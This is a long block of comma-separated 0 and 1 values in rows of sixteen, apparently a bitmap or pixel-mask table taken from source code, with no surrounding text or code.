0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1, + 0,0,1,1,1,1,0,0,0,0,1,1,1,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0, + 1,1,1,1,0,0,0,0,0,0,1,1,0,0,1,1, + 1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1, + 1,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0, + 0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,1, + 1,1,0,0,1,1,1,1,0,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1, + 1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,0,1,1,1,0,0,1,1,1,1,0,0,0,0, + 0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1, + 1,0,1,1,1,1,0,0,0,0,1,1,1,1,0,1, + 1,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0, + 0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1, + 1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1, + 1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1, + 1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1, + 1,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0, + 1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,0, + 0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1, + 1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1, + 1,1,1,0,0,0,0,0,1,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,1, + 0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0, + 0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1, + 1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0, + 0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0, + 0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1, + 1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1, + 1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1, + 1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0, + 0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0, + 0,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1, + 1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0, + 0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0, + 0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,1,1,1,0,0,1,1,1,1,1, + 1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1, + 1,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0, + 0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1, + 1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1, + 0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0, + 1,1,1,0,0,0,0,1,1,1,1,0,0,0,1,1, + 1,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0, + 0,0,1,1,1,0,0,1,1,1,0,0,0,0,1,1, + 1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,0, + 0,0,1,1,1,1,0,0,1,1,1,1,1,1,1,1, + 1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0, + 0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1, + 0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1, + 1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1, + 1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,0, + 0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1, + 1,1,1,1,1,1,0,0,0,0,1,1,1,0,0,0, + 1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1, + 1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0, + 0,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1, + 1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1, + 1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0, + 0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1, + 1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1, + 1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0, + 0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0, + 0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1, + 0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0, + 1,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0, + 0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0, + 0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1, + 1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1, + 1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1, + 1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0, + 1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0, + 1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0, + 0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1, + 1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1, + 1,1,1,0,0,0,0,0,1,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0, + 0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1, + 1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1, + 1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0, + 0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0, + 0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1, + 0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0, + 0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1, + 1,0,0,0,0,0,1,1,1,1,0,1,1,1,1,1, + 1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1, + 1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0, + 0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,1,1,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1, + 0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,1,1,1,0,0,0,1,1, + 1,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0, + 0,0,1,1,1,0,0,1,1,1,0,0,0,0,1,1, + 1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,0, + 0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0, + 0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1, + 0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,1,1,0,1,1,1,0,0,0,1,1,1,0, + 1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1, + 1,1,0,0,0,0,0,1,1,1,1,0,1,1,1,0, + 0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1, + 1,1,0,1,1,1,0,0,0,0,1,1,1,0,0,0, + 1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1, + 1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1, + 1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1, + 1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0, + 0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0, + 1,1,1,1,0,1,1,1,0,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1, + 0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0, + 0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,0, + 0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1, + 0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0, + 0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1, + 1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0, + 0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1, + 1,1,1,1,0,0,1,1,1,1,0,0,0,0,0,0, + 0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0, + 1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0, + 0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,1,1,1,1, + 0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1, + 1,1,1,0,0,0,0,0,1,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0, + 0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 